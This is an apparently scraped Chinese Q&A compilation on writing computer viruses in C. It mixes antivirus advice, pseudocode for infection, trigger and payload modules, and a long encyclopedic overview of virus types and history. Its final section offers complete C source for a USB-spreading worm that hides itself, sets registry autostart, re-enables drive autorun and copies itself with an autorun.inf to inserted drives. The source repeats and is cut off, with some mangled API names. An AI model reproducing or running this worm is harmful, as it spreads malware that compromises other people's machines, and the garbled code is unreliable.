當前位置:首頁 » 編程語言 » 用c語言編寫病毒
擴展閱讀
webinf下怎麼引入js 2023-08-31 21:54:13
堡壘機怎麼打開web 2023-08-31 21:54:11

用c語言編寫病毒

發布時間: 2023-05-29 06:33:28

1. 如何用c語言編寫一個查殺一種病毒的程序

您好:

殺毒軟體何必自己編寫呢,建議您使用騰訊電腦管家吧,騰訊電腦管家佔用系統資源少,佔用內存資源少,不會影響電腦的正常運行速度,而且騰訊電腦管家是殺毒管理2合1的軟體,不僅殺毒、防毒能力強,還有例如垃圾清理、電腦加速等一些列的電腦管理輔助類功能,您可以點擊這里下載最新版的騰訊電腦管家:騰訊電腦管家最新版下載

騰訊電腦管家企業平台:http://..com/c/guanjia/

2. 學好C語言可以編寫病毒嗎

可以。
C語言是一門通用計算機編程語言,應用廣泛。C語言的設計目標是提供一種能以簡易的方式編譯、處理低級存儲器、產生少量的機器碼以及不需要任何運行環境支持便能運行的編程語言。
他是編輯計算機的語言,所以病毒也是可以編輯的
不過個人建議做個反病毒高手,別做病毒創作者。

3. 怎樣用C語言編寫病毒 / 藍訊

要編制一個病毒,首先要知道病毒的運行機理。
不論是何種病毒,它一般在結構上分為三個功能模塊:感染機制,觸發機制和有效載荷。
在病毒結構中,首要的而且唯一必需的部分是感染機制。病毒首先必須是能夠繁殖自身的代碼,這是病毒之所以成為病毒的根本
原因。我們可以用一段類C偽碼來表示這個過程。
InfectSection()
{
if (infectable_object_found
&&object_not_already_infect)
infect_object;
}
病毒的第二個主要構成部分是有效載荷觸發事件.一個病毒來到你的電腦後,不大可能立即發作,否則它不會被傳播得很遠.潛伏的敵人永遠要比能見到的敵人危險得多.病毒一般是在找到一定數量的感染體,某一日期或時間,某一段文本後觸發.
一個簡單的觸發機制可能是這樣工作的:
TriggerSection()
{
if (date_is_Friday_13th_and_time_is_03:13:13)
set_trigger_status_to_yes;
}
有效載荷就是病毒用來騷擾你的電腦的方法,有觸發機制的病毒一般也有有效載荷。它可以是任意的給你發一條一次性簡單的愚弄信息,重新格式化你的磁碟,把它自己郵給你的E_mail通信者都可以成為有效的負荷。簡單的有效負荷可以如下進行:
Executesection()
{
if (trigger_statue_is_yes)
execute_payload;
}

4. 用C語言寫一段自我復制感染的代碼,

《中華人民共和國計算機信息系統安全保護條例》中被明確定義,病毒指「編制或者在計算機程序中插入的破壞計算機功能或者破壞數據,影響計算機使用並且能夠自我復制的一組計算機指令或者程序代碼」。而在一般教科書及通用資料中被定義為:利用計算機軟體與硬體的缺陷,由被感染機內部發出的破壞計算機數據並影響計算機正常工作的一組指令集或程序代碼 。計算機病毒最早出現在70年代 David Gerrold 科幻小說 When H.A.R.L.I.E. was One.最早科學定義出現在 1983:在Fred Cohen (南加大) 的博士論文 「計算機病毒實驗」「一種能把自己(或經演變)注入其它程序的計算機程序」啟動區病毒,宏(macro)病毒,腳本(script)病毒也是相同概念傳播機制同生物病毒類似.生物病毒是把自己注入細胞之中。
電腦病毒二、計算機病毒的長期性:病毒往往會利用計算機操作系統的弱點進行傳播,提高系統的安全性是防病毒的一個重要方面,但完美的系統是不存在的,過於強調提高系統的安全性將使系統多數時間用於病毒檢查,系統失去了可用性、實用性和易用性,另一方面,信息保密的要求讓人們在泄密和抓住病毒之間無法選擇。病毒與反病毒將作為一種技術對抗長期存在,兩種技術都將隨計算機技術的發展而得到長期的發展。
三、計算機病毒的產生:病毒不是來源於突發或偶然的原因。一次突發的停電和偶然的錯誤,會在計算機的磁碟和內存中產生一些亂碼和隨機指令,但這些代碼是無序和混亂的,病毒則是一種比較完美的,精巧嚴謹的代碼,按照嚴格的秩序組織起來,與所在的系統網路環境相適應和配合起來,病毒不會通過偶然形成,並且需要有一定的長度,這個基本的長度從概率上來講是不可能通過隨機代碼產生的。現在流行的病毒是由人為故意編寫的,多數病毒可以找到作者和產地信息,從大量的統計分析來看,病毒作者主要情況和目的是:一些天才的程序員為了表現自己和證明自己的能力,出於對上司的不滿,為了好奇,為了報復,為了祝賀和求愛,為了得到控制口令,為了軟體拿不到報酬預留的陷阱等.當然也有因政治,軍事,宗教,民族.專利等方面的需求而專門編寫的,其中也包括一些病毒研究機構和黑客的測試病毒.
四、計算機病毒的特點,計算機病毒具有以下幾個特點:
(1) 寄生性:計算機病毒寄生在其他程序之中,當執行這個程序時,病毒就起破壞作用,而在未啟動這個程序之前,它是不易被人發覺的。
(2) 傳染性:計算機病毒不但本身具有破壞性,更有害的是具有傳染性,一旦病毒被復制或產生變種,其速度之快令人難以預防。傳染性是病毒的基本特徵。在生物界,病毒通過傳染從一個生物體擴散到另一個生物體。在適當的條件下,它可得到大量繁殖,並使被感染的生物體表現出病症甚至死亡。同樣,計算機病毒也會通過各種渠道從已被感染的計算機擴散到未被感染的計算機,在某些情況下造成被感染的計算機工作失常甚至癱瘓。與生物病毒不同的是,計算機病毒是一段人為編制的計算機程序代碼,這段程序代碼一旦進入計算機並得以執行,它就會搜尋其他符合其傳染條件的程序或存儲介質,確定目標後再將自身代碼插入其中,達到自我繁殖的目的。只要一台計算機染毒,如不及時處理,那麼病毒會在這台機子上迅速擴散,其中的大量文件(一般是可執行文件)會被感染。而被感染的文件又成了新的傳染源,再與其他機器進行數據交換或通過網路接觸,病毒會繼續進行傳染。 正常的計算機程序一般是不會將自身的代碼強行連接到其他程序之上的。而病毒卻能使自身的代碼強行傳染到一切符合其傳染條件的未受到傳染的程序之上。計算機病毒可通過各種可能的渠道,如軟盤、計算機網路去傳染其他的計算機。當您在一台機器上發現了病毒時,往往曾在這台計算機上用過的軟盤已感染上了病毒,而與這台機器相聯網的其他計算機也許也被該病毒染上了。是否具有傳染性是判別一個程序是否為計算機病毒的最重要條件。 病毒程序通過修改磁碟扇區信息或文件內容並把自身嵌入到其中的方法達到病毒的傳染和擴散。被嵌入的程序叫做宿主程序;
(3) 潛伏性:有些病毒像定時炸彈一樣,讓它什麼時間發作是預先設計好的。比如黑色星期五病毒,不到預定時間一點都覺察不出來,等到條件具備的時候一下子就爆炸開來,對系統進行破壞。一個編制精巧的計算機病毒程序,進入系統之後一般不會馬上發作,可以在幾周或者幾個月內甚至幾年內隱藏在合法文件中,對其他系統進行傳染,而不被人發現,潛伏性愈好,其在系統中的存在時間就會愈長,病毒的傳染范圍就會愈大。 潛伏性的第一種表現是指,病毒程序不用專用檢測程序是檢查不出來的,因此病毒可以靜靜地躲在磁碟或磁帶里呆上幾天,甚至幾年,一旦時機成熟,得到運行機會,就又要四處繁殖、擴散,繼續為害。潛伏性的第二種表現是指,計算機病毒的內部往往有一種觸發機制,不滿足觸發條件時,計算機病毒除了傳染外不做什麼破壞。觸發條件一旦得到滿足,有的在屏幕上顯示信息、圖形或特殊標識,有的則執行破壞系統的操作,如格式化磁碟、刪除磁碟文件、對數據文件做加密、封鎖鍵盤以及使系統死鎖等;
(4) 隱蔽性:計算機病毒具有很強的隱蔽性,有的可以通過病毒軟體檢查出來,有的根本就查不出來,有的時隱時現、變化無常,這類病毒處理起來通常很困難。
(5)破壞性:計算機中毒後,可能會導致正常的程序無法運行,把計算機內的文件刪除或受到不同程度的損壞 。通常表現為:增、刪、改、移。
(6)計算機病毒的可觸發性:病毒因某個事件或數值的出現,誘使病毒實施感染或進行攻擊的特性稱為可觸發性。為了隱蔽自己,病毒必須潛伏,少做動作。如果完全不動,一直潛伏的話,病毒既不能感染也不能進行破壞,便失去了殺傷力。病毒既要隱蔽又要維持殺傷力,它必須具有可觸發性。病毒的觸發機制就是用來控制感染和破壞動作的頻率的。病毒具有預定的觸發條件,這些條件可能是時間、日期、文件類型或某些特定數據等。病毒運行時,觸發機制檢查預定條件是否滿足,如果滿足,啟動感染或破壞動作,使病毒進行感染或攻擊;如果不滿足,使病毒繼續潛伏。
五、計算機病毒分類,根據多年對計算機病毒的研究,按照科學的、系統的、嚴密的方法,計算機病毒可分類如下:按照計算機病毒屬性的方法進行分類,計算機病毒可以根據下面的屬性進行分類:
按照計算機病毒存在的媒體進行分類:
(1)根據病毒存在的媒體,病毒可以劃分為網路病毒,文件病毒,引導型病毒。網路病毒通過計算機網路傳播感染網路中的可執行文件,文件病毒感染計算機中的文件(如:COM,EXE,DOC等),引導型病毒感染啟動扇區(Boot)和硬碟的系統引導扇區(MBR),還有這三種情況的混合型,例如:多型病毒(文件和引導型)感染文件和引導扇區兩種目標,這樣的病毒通常都具有復雜的演算法,它們使用非常規的辦法侵入系統,同時使用了加密和變形演算法。
按照計算機病毒傳染的方法進行分類:
(2)根據病毒傳染的方法可分為駐留型病毒和非駐留型病毒,駐留型病毒感染計算機後,把自身的內存駐留部分放在內存(RAM)中,這一部分程序掛接系統調用並合並到操作系統中去,他處於激活狀態,一直到關機或重新啟動.非駐留型病毒在得到機會激活時並不感染計算機內存,一些病毒在內存中留有小部分,但是並不通過這一部分進行傳染,這類病毒也被劃分為非駐留型病毒。
(3) 根據病毒破壞的能力可劃分為以下幾種:
無害型
除了傳染時減少磁碟的可用空間外,對系統沒有其它影響。
無危險型
這類病毒僅僅是減少內存、顯示圖像、發出聲音及同類音響。
危險型
這類病毒在計算機系統操作中造成嚴重的錯誤。
非常危險型
這類病毒刪除程序、破壞數據、清除系統內存區和操作系統中重要的信息。這些病毒對系統造成的危害,並不是本身的演算法中存在危險的調用,而是當它們傳染時會引起無法預料的和災難性的破壞。由病毒引起其它的程序產生的錯誤也會破壞文件和扇區,這些病毒也按照他們引起的破壞能力劃分。一些現在的無害型病毒也可能會對新版的DOS、Windows和其它操作系統造成破壞。例如:在早期的病毒中,有一個「Denzuk」病毒在360K磁碟上很好的工作,不會造成任何破壞,但是在後來的高密度軟盤上卻能引起大量的數據丟失。
(4)根據病毒特有的演算法,病毒可以劃分為:
1. 伴隨型病毒,這一類病毒並不改變文件本身,它們根據演算法產生EXE文件的伴隨體,具有同樣的名字和不同的擴展名(COM),例如:XCOPY.EXE的伴隨體是XCOPY.COM。病毒把自身寫入COM文件並不改變EXE文件,當DOS載入文件時,伴隨體優先被執行到,再由伴隨體載入執行原來的EXE文件。
2. 「蠕蟲」型病毒,通過計算機網路傳播,不改變文件和資料信息,利用網路從一台機器的內存傳播到其它機器的內存,計算網路地址,將自身的病毒通過網路發送。有時它們在系統存在,一般除了內存不佔用其它資源。
3. 寄生型病毒 除了伴隨和「蠕蟲」型,其它病毒均可稱為寄生型病毒,它們依附在系統的引導扇區或文件中,通過系統的功能進行傳播,按其演算法不同可分為:練習型病毒,病毒自身包含錯誤,不能進行很好的傳播,例如一些病毒在調試階段。
4. 詭秘型病毒 它們一般不直接修改DOS中斷和扇區數據,而是通過設備技術和文件緩沖區等DOS內部修改,不易看到資源,使用比較高級的技術。利用DOS空閑的數據區進行工作。
5. 變型病毒(又稱幽靈病毒) 這一類病毒使用一個復雜的演算法,使自己每傳播一份都具有不同的內容和長度。它們一般的作法是一段混有無關指令的解碼演算法和被變化過的病毒體組成。
六、計算機病毒的發展,在病毒的發展史上,病毒的出現是有規律的,一般情況下一種新的病毒技術出現後,病毒迅速發展,接著反病毒技術的發展會抑制其流傳。操作系統升級後,病毒也會調整為新的方式,產生新的病毒技術。它可劃分為:
DOS引導階段
1987年,計算機病毒主要是引導型病毒,具有代表性的是「小球」和「石頭」病毒。當時的計算機硬體較少,功能簡單,一般需要通過軟盤啟動後使用.引導型病毒利用軟盤的啟動原理工作,它們修改系統啟動扇區,在計算機啟動時首先取得控制權,減少系統內存,修改磁碟讀寫中斷,影響系統工作效率,在系統存取磁碟時進行傳播;
1989年,引導型病毒發展為可以感染硬碟,典型的代表有「石頭2」;
DOS可執行階段
1989年,可執行文件型病毒出現,它們利用DOS系統載入執行文件的機制工作,代表為「耶路撒冷」,「星期天」病毒,病毒代碼在系統執行文件時取得控制權,修改DOS中斷,在系統調用時進行傳染,並將自己附加在可執行文件中,使文件長度增加。
1990年,發展為復合型病毒,可感染COM和EXE文件。
伴隨、批次型階段
1992年,伴隨型病毒出現,它們利用DOS載入文件的優先順序進行工作,具有代表性的是「金蟬」病毒,它感染EXE文件時生成一個和EXE同名但擴展名為COM的伴隨體;它感染文件時,改原來的COM文件為同名的EXE文件,再產生一個原名的伴隨體,文件擴展名為COM,這樣,在DOS載入文件時,病毒就取得控制權.這類病毒的特點是不改變原來的文件內容,日期及屬性,解除病毒時只要將其伴隨體刪除即可。在非DOS操作系統中,一些伴隨型病毒利用操作系統的描述語言進行工作,具有典型代表的是「海盜旗」病毒,它在得到執行時,詢問用戶名稱和口令,然後返回一個出錯信息,將自身刪除。批次型病毒是工作在DOS下的和「海盜旗」病毒類似的一類病毒。
幽靈、多形階段
1994年,隨著匯編語言的發展,實現同一功能可以用不同的方式進行完成,這些方式的組合使一段看似隨機的代碼產生相同的運算結果。幽靈病毒就是利用這個特點,每感染一次就產生不同的代碼。例如「一半」病毒就是產生一段有上億種可能的解碼運算程序,病毒體被隱藏在解碼前的數據中,查解這類病毒就必須能對這段數據進行解碼,加大了查毒的難度。多形型病毒是一種綜合性病毒,它既能感染引導區又能感染程序區,多數具有解碼演算法,一種病毒往往要兩段以上的子程序方能解除。
生成器,變體機階段
1995年,在匯編語言中,一些數據的運算放在不同的通用寄存器中,可運算出同樣的結果,隨機的插入一些空操作和無關指令,也不影響運算的結果,這樣,一段解碼演算法就可以由生成器生成,當生成器的生成結果為病毒時,就產生了這種復雜的「病毒生成器」 ,而變體機就是增加解碼復雜程度的指令生成機制。這一階段的典型代表是「病毒製造機」 VCL,它可以在瞬間製造出成千上萬種不同的病毒,查解時就不能使用傳統的特徵識別法,需要在宏觀上分析指令,解碼後查解病毒。
網路,蠕蟲階段
1995年,隨著網路的普及,病毒開始利用網路進行傳播,它們只是以上幾代病毒的改進.在非DOS操作系統中,「蠕蟲」是典型的代表,它不佔用除內存以外的任何資源,不修改磁碟文件,利用網路功能搜索網路地址,將自身向下一地址進行傳播,有時也在網路伺服器和啟動文件中存在。
視窗階段
1996年,隨著Windows和Windows95的日益普及,利用Windows進行工作的病毒開始發展,它們修改(NE,PE)文件,典型的代表是DS.3873,這類病毒的機制更為復雜,它們利用保護模式和API調用介面工作,解除方法也比較復雜。 宏病毒階段1996年,隨著Windows Word功能的增強,使用Word宏語言也可以編制病毒,這種病毒使用類Basic語言、編寫容易、感染Word文檔等文件,在Excel和AmiPro出現的相同工作機制的病毒也歸為此類,由於Word文檔格式沒有公開,這類病毒查解比較困難;
互連網階段
1997年,隨著網際網路的發展,各種病毒也開始利用網際網路進行傳播,一些攜帶病毒的數據包和郵件越來越多,如果不小心打開了這些郵件,機器就有可能中毒;
爪哇(Java),郵件炸彈階段
1997年,隨著萬維網(Wold Wide Web)上Java的普及,利用Java語言進行傳播和資料獲取的病毒開始出現,典型的代表是JavaSnake病毒,還有一些利用郵件伺服器進行傳播和破壞的病毒,例如Mail-Bomb病毒,它會嚴重影響網際網路的效率。
七、其他的破壞行為,計算機病毒的破壞行為體現了病毒的殺傷能力。病毒破壞行為的激烈程度取決於病毒作者的主觀願望和他所具有的技術能量。數以萬計不斷發展擴張的病毒,其破壞行為千奇百怪,不可能窮舉其破壞行為,而且難以做全面的描述,根據現有的病毒資料可以把病毒的破壞目標和攻擊部位歸納如下: 攻擊系統數據區,攻擊部位包括:硬碟主引尋扇區、Boot扇區、FAT表、文件目錄等。一般來說,攻擊系統數據區的病毒是惡性病毒,受損的數據不易恢復。 攻擊文件,病毒對文件的攻擊方式很多,可列舉如下:刪除、改名、替換內容、丟失部分程序代碼、內容顛倒、寫入時間空白、變碎片、假冒文件、丟失文件簇、丟失數據文件等。攻擊內存,內存是計算機的重要資源,也是病毒攻擊的主要目標之一,病毒額外地佔用和消耗系統的內存資源,可以導致一些較大的程序難以運行。病毒攻擊內存的方式如下:佔用大量內存、改變內存總量、禁止分配內存、蠶食內存等。干擾系統運行,此類型病毒會干擾系統的正常運行,以此作為自己的破壞行為,此類行為也是花樣繁多,可以列舉下述諸方式:不執行命令、干擾內部命令的執行、虛假報警、使文件打不開、使內部棧溢出、佔用特殊數據區、時鍾倒轉、重啟動、死機、強制游戲、擾亂串列口、並行口等。 速度下降,病毒激活時,其內部的時間延遲程序啟動,在時鍾中納入了時間的循環計數,迫使計算機空轉,計算機速度明顯下降。攻擊磁碟,攻擊磁碟數據、不寫盤、寫操作變讀操作、寫盤時丟位元組等。 擾亂屏幕顯示,病毒擾亂屏幕顯示的方式很多,可列舉如下:字元跌落、環繞、倒置、顯示前一屏、游標下跌、滾屏、抖動、亂寫、吃字元等。 鍵盤病毒,干擾鍵盤操作,已發現有下述方式:響鈴、封鎖鍵盤、換字、抹掉緩存區字元、重復、輸入紊亂等。 喇叭病毒,許多病毒運行時,會使計算機的喇叭發出響聲。有的病毒作者通過喇叭發出種種聲音,有的病毒作者讓病毒演奏旋律優美的世界名曲,在高雅的曲調中去殺戮人們的信息財富,已發現的喇叭發聲有以下方式:演奏曲子、警笛聲、炸彈雜訊、鳴叫、咔咔聲、嘀嗒聲等。 攻擊CMOS , 在機器的CMOS區中,保存著系統的重要數據,例如系統時鍾、磁碟類型、內存容量等,並具有校驗和。有的病毒激活時,能夠對CMOS區進行寫入動作,破壞系統CMOS中的數據。 干擾列印機,典型現象為:假報警、間斷性列印、更換字元等。
八、計算機病毒的危害性,計算機資源的損失和破壞,不但會造成資源和財富的巨大浪費,而且有可能造成社會性的災難,隨著信息化社會的發展,計算機病毒的威脅日益嚴重,反病毒的任務也更加艱巨了。1988年11月2日下午5時1分59秒,美國康奈爾大學的計算機科學系研究生,23歲的莫里斯(Morris)將其編寫的蠕蟲程序輸入計算機網路,致使這個擁有數萬台計算機的網路被堵塞。這件事就像是計算機界的一次大地震,引起了巨大反響,震驚全世界,引起了人們對計算機病毒的恐慌,也使更多的計算機專家重視和致力於計算機病毒研究。1988年下半年,我國在統計局系統首次發現了「小球」病毒,它對統計系統影響極大,此後由計算機病毒發作而引起的「病毒事件」接連不斷,前一段時間發現的CIH、美麗莎等病毒更是給社會造成了很大損失。
九、用戶計算機中毒的24種症狀
1.計算機系統運行速度減慢。
2.計算機系統經常無故發生死機。
3.計算機系統中的文件長度發生變化。
4.計算機存儲的容量異常減少。
5.系統引導速度減慢。
6.丟失文件或文件損壞。
7.計算機屏幕上出現異常顯示。
8.計算機系統的蜂鳴器出現異常聲響。
9.磁碟卷標發生變化。
10.系統不識別硬碟。
11.對存儲系統異常訪問
12.鍵盤輸入異常。
13.文件的日期、時間、屬性等發生變化。
14.文件無法正確讀取、復制或打開。
15.命令執行出現錯誤。
16.虛假報警。
17.換當前盤。有些病毒會將當前盤切換到C盤。
18.時鍾倒轉。有些病毒會命名系統時間倒轉,逆向計時。
19.WINDOWS操作系統無故頻繁出現錯誤。
20.系統異常重新啟動。
21.一些外部設備工作異常。
22.異常要求用戶輸入密碼。
23.WORD或EXCEL提示執行「宏」。
24.是不應駐留內存的程序駐留內存。
計算機病毒是在什麼情況下出現的?
計算機病毒的產生是計算機技術和以計算機為核心的社會信息化進程發展到一定階段的必然產物。它產生的背景是:
(1)計算機病毒是計算機犯罪的一種新的衍化形式
計算機病毒是高技術犯罪, 具有瞬時性、動態性和隨機性。不易取證, 風險小破壞大, 從而刺激了犯罪意識和犯罪活動。是某些人惡作劇和報復心態在計算機應用領域的表現;
(2)計算機軟硬體產品的脆弱性是根本的技術原因
計算機是電子產品。數據從輸入、存儲、處理、輸出等環節, 易誤入、篡改、丟失、作假和破壞;程序易被刪除、改寫;計算機軟體設計的手工方式, 效率低下且生產周期長;人們至今沒有辦法事先了解一個程序有沒有錯誤, 只能在運行中發現、修改錯誤, 並不知道還有多少錯誤和缺陷隱藏在其中。這些脆弱性就為病毒的侵入提供了方便;

5. 用C語言能編寫計算機病毒嗎

所有的計算機語言都可以編寫計算機病毒,計算機病毒本身並不在於本身,而是在於編寫者賦予該程序的意圖,如果是好的就是很優秀的軟體,如果是惡意的就是病的了。

6. 用C語言編寫的病毒代碼

一個c病毒源代碼
#include <windows.h>
#include <Shlwapi.h>
#include <fstream.h>
#include <TlHelp32.h>
#include <Dbt.h>

#pragma comment(lib,"shlwapi.lib")

#define TIMER 1//計時器

//function
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);//窗口過程
//獲取盤符
TCHAR FirstDriveFromMask (ULONG unitmask);

//病毒從U盤啟動時用到的函數
BOOL FileExist(TCHAR *path);//測試一個文件是否存在
BOOL GetSelfPath(TCHAR *path);//Get the virus's path
//BOOL FindU(TCHAR *u);//check whether u exist, u[2]
BOOL GetSysPath(TCHAR *path);//得到系統路徑
BOOL CopyToSysAndSet(HWND hwnd);//復制自身到系統目錄和設置
BOOL SetFileAttrib(TCHAR *path);//設置path所指文件的屬性
BOOL RegAutoRun(TCHAR *path);//修改注冊表,實現自啟動

//從C盤啟動時用到函數
BOOL CopyToUAndSet();//復制自己到U盤
BOOL CreateAutoRunFile(TCHAR *path);//在U盤下生成autorun.inf文件
BOOL FindSelf();//測試自己是否在已經執行了

//global variable
TCHAR szExePath[MAX_PATH];//the virus's path
TCHAR U[2];//保存U盤的盤符
TCHAR szSysPath[MAX_PATH];//system path

//constant
const TCHAR *szExeName="bbbbb.exe";
const TCHAR *szSysName="aaaaa.exe";
const TCHAR *szAutoRunFile="AutoRun.inf";

int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance,
PSTR szCmdLine, int iCmdShow)
{
static TCHAR szAppName[]=TEXT ("UUUUUU");
HWND hwnd;
MSG msg;
WNDCLASS wndclass;

wndclass.style =0;
wndclass.lpfnWndProc =WndProc;
wndclass.cbClsExtra =0;
wndclass.cbWndExtra =0;
wndclass.hInstance =hInstance;
wndclass.hIcon =0;
wndclass.hCursor =0;
wndclass.hbrBackground =0;
wndclass.lpszMenuName =NULL;
wndclass.lpszClassName =szAppName;
if (!RegisterClass (&wndclass))
{
MessageBox (NULL,TEXT("Program requires Windows NT!"),
szAppName, MB_ICONERROR);
return 0;
}
hwnd = CreateWindow (szAppName, NULL,
WS_DISABLED,
0, 0,
0, 0,
NULL, NULL, hInstance, NULL);
while (GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage (&msg);
DispatchMessage (&msg);
}
return msg.wParam;
}

LRESULT OnDeviceChange(HWND hwnd,WPARAM wParam, LPARAM lParam)
{
PDEV_BROADCAST_HDR lpdb = (PDEV_BROADCAST_HDR)lParam;
switch(wParam)
{
case DBT_DEVICEARRIVAL: //插入
if (lpdb -> dbch_devicetype == DBT_DEVTYP_VOLUME)
{
PDEV_BROADCAST_VOLUME lpdbv = (PDEV_BROADCAST_VOLUME)lpdb;
U[0]=FirstDriveFromMask(lpdbv ->dbcv_unitmask);//得到u盤盤符
//MessageBox(0,U,"Notice!",MB_OK);
CopyToUAndSet();//拷到u盤
}
break;
case DBT_DEVICEREMOVECOMPLETE: //設備刪除
break;
}
return LRESULT();
}

LRESULT CALLBACK WndProc (HWND hwnd, UINT message, WPARAM wParam,LPARAM lParam)
{
switch(message)
{
case WM_Create: //處理一些要下面要用到的全局變數
U[1]=':';
GetSysPath(szSysPath);//得到系統路徑
SetTimer(hwnd,TIMER,5000,0);//啟動計時器
GetSelfPath(szExePath);//得到自身的路徑
return 0;
case WM_TIMER: //timer message
if(szExePath[0]==szSysPath[0]) //如果是系統盤啟動的
SendMessage(hwnd,WM_DEVICECHANGE,0,0);//檢測有沒有插入設備消息
else
{
CopyToSysAndSet(hwnd);//拷到系統盤並自啟動
}
return 0;
case WM_DEVICECHANGE:
OnDeviceChange(hwnd,wParam,lParam);
return 0;
case WM_DESTROY:
KillTimer(hwnd,TIMER);
PostQuitMessage(0);
return 0;
}
return DefWindowProc(hwnd, message, wParam, lParam);
}

TCHAR FirstDriveFromMask(ULONG unitmask)
{
char i;
for (i = 0; i < 26; ++i)
{
if (unitmask & 0x1)//看該驅動器的狀態是否發生了變化
break;
unitmask = unitmask >> 1;
}
return (i + 'A');
}

BOOL GetSelfPath(TCHAR *path)
{
if(GetMoleFileName(NULL,path,MAX_PATH))//得到程序自身的目錄
{
return TRUE;
}
else
return FALSE;
}

BOOL GetSysPath(TCHAR *path)
{
return GetSystemDirectory(path,MAX_PATH);//得到系統路徑
}

BOOL CopyToSysAndSet(HWND hwnd)
{
TCHAR szPath[MAX_PATH];
lstrcpy(szPath,szSysPath);
lstrcat(szPath,"\\");
lstrcat(szPath,szSysName);//得到復制到系統目錄的完整目錄
if(!FileExist(szPath))//檢測系統目錄是否已經存在復制的文件
{
CopyFile(szExePath,szPath,FALSE);
RegAutoRun(szPath);
return SetFileAttrib(szPath);
}
else
{
if(!FindSelf())//檢測自己有沒有運行
{
//MessageBox(0,szExePath,szPath,MB_OK);
WinExec(szPath,SW_HIDE);//沒有就執行
SendMessage(hwnd,WM_CLOSE,0,0);//結束自己
}
}
return FALSE;
}

BOOL FileExist(TCHAR *path)//檢測PATH所指的路徑的文件是否存在
{
int result;
result=PathFileExists(path);
if(result==1)
return TRUE;
else
return FALSE;
}

BOOL SetFileAttrib(TCHAR *path)
{
return SetFileAttributes(path,FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);
}

BOOL RegAutoRun(TCHAR *path)//修改注冊表實現自啟動
{
HKEY hkey;
DWORD v=0;
RegOpenKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",&hkey);
RegSetValueEx(hkey,"NoDriveTypeAutoRun",0,REG_DWORD,(LPBYTE)&v,sizeof(DWORD));
if(RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\MICROSOFT\\Windows\\CurrentVersion\\Run",
&hkey)==ERROR_SUCCESS)
{
RegSetValueEx(hkey,szSysName,0,REG_SZ,(BYTE*)path,lstrlen(path));
RegCloseKey(hkey);
return TRUE;
}
else
return FALSE;
}
BOOL CopyToUAndSet()
{
TCHAR szPath[MAX_PATH];
lstrcpy(szPath,U);
lstrcat(szPath,"\\");
lstrcat(szPath,szExeName);//得到指向U盤的完整目錄

TCHAR szAutoFile[MAX_PATH];
lstrcpy(szAutoFile,U);
lstrcat(szAutoFile,"\\");
lstrcat(szAutoFile,szAutoRunFile);

if(!FileExist(szAutoFile))
{
CreateAutoRunFile(szAutoFile);
SetFileAttrib(szAutoFile);
}
if(!FileExist(szPath))
{
CopyFile(szExePath,szPath,FALSE);
return SetFileAttrib(szPath);
}
return FALSE;
}

BOOL CreateAutoRunFile(TCHAR *path) //在U盤下創建一個autorun.inf文件
{
ofstream fout;
fout.open(path);
if(fout)
{
fout<<"[AutoRun]"<<endl;
fout<<"open="<<szExeName<<" e"<<endl;
fout<<"shellexecute="<<szExeName<<" e"<<endl;
fout<<"shell\\Auto\\command="<<szExeName<<" e"<<endl;
fout<<"shell=Auto"<<endl;
fout.close();
return TRUE;
}
return FALSE;
}

BOOL FindSelf(){
PROCESSENTRY32 pe;
HANDLE hShot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
pe.dwSize=sizeof(PROCESSENTRY32);
if(Process32First(hShot,&pe)){
do{
if(lstrcmp(pe.szExeFile,szSysName)==0)
{
CloseHandle(hShot);
return TRUE;
}
}while(Process32Next(hShot,&pe));
}
CloseHandle(hShot);
return FALSE;
} 隱藏窗口:ShowWindow(false); (#include <windows.h>)
將程序暫停一秒後繼續執行:sleep(1000); (同上)
刪除文件:system("del 文件的路徑");
運行文件:system("文件的路徑");
system函數(#include <iostream>)
復制文件:詳見remove函數(#include <process.h>)

-----------------------------------------------------------
一個不錯的病毒完整源代碼
#include <windows.h>
#include <Shlwapi.h>
#include <fstream.h>
#include <TlHelp32.h>
#include <Dbt.h>

#pragma comment(lib,"shlwapi.lib")

#define TIMER 1//計時器

//function
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);//窗口過程
//獲取盤符
TCHAR FirstDriveFromMask (ULONG unitmask);